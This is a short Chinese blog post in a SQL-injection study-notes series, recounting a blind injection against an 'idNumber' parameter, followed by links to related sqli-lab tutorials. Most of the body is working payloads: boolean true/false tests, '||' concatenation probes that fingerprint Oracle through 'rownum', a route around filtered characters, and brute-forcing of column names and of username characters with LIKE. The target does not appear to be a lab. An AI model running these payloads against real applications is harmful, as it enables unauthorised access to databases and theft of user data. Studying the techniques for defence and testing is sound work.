Sqli学习笔记系列---一次艰难的Sqli

简介: 正文这里记录一下一些小技巧: 替换 路径/参数在以下接口的的“idNumber”参数上找到注入点:/foo/?theName=YAP&idNumber=248001[注入点]识别是否执行成功true/false的payload/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE也可以使用管道操作:

正文


这里记录一下一些小技巧: 替换 路径/参数

在以下接口的的“idNumber”参数上找到注入点:

/foo/?theName=YAP&idNumber=248001[注入点]

识别是否执行成功true/false的payload

/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE

/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE

也可以使用管道操作:

/foo/?theName=YAP&idNumber=248'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE

有了上面这些条件,就能够将此应用程序使用的数据库缩小到Oracle、PosgreSQL、IBM DB2或Informix。

尝试这个技巧:

/foo/?theName=YAP&idNumber=248'||<利用暴力破解来注入任何SQL函数>||'001

发现“rownum”被接受了,这表明是Oracle。为了确认,查询如下信息:

/foo/?theName=YAP&idNumber=24800'||rownum||'

发现如下信息:

有点意思,现在我们如何从注入中提取数据呢?应用程序似乎过滤/替换了以下字符

_ ( ) + . whitespaces

一种使用有效负载提取数据的方法如下:

/foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"

最后一步是:

/foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%

最后得出用户名.


总结


主要是要会利用暴力破解的方法来进行注入

目录
相关文章
|
4月前
|
安全 关系型数据库 MySQL
sqli-lab学习笔记
sqli-lab学习笔记
23 0
|
4月前
|
安全
sqli-lab教程Less-9
sqli-lab教程Less-9
24 0
|
4月前
|
安全 数据安全/隐私保护
sqli-lab教程Less-5
sqli-lab教程Less-5
24 0
|
4月前
|
安全
sqli-lab教程Less-8
sqli-lab教程Less-8
19 0
|
4月前
|
安全 数据安全/隐私保护
sqli-lab教程Less-2
sqli-lab教程Less-2
19 0
|
4月前
|
关系型数据库 MySQL Shell
sqli-lab教程Less-7
sqli-lab教程Less-7
24 0
|
4月前
|
安全 数据安全/隐私保护
sqli-lab教程Less-4
sqli-lab教程Less-4
17 0
|
2天前
|
SQL 安全 网络安全
BugKu:inspect-me & my-first-sqli & post-the-get
BugKu:inspect-me & my-first-sqli & post-the-get
|
2天前
|
安全 前端开发 PHP
Upload-labs 靶场通关解析(上)
Upload-labs 靶场通关解析(上)
|
3月前
|
SQL 数据库
10、sqli-labs(盲注8-10)
10、sqli-labs(盲注8-10)
15 1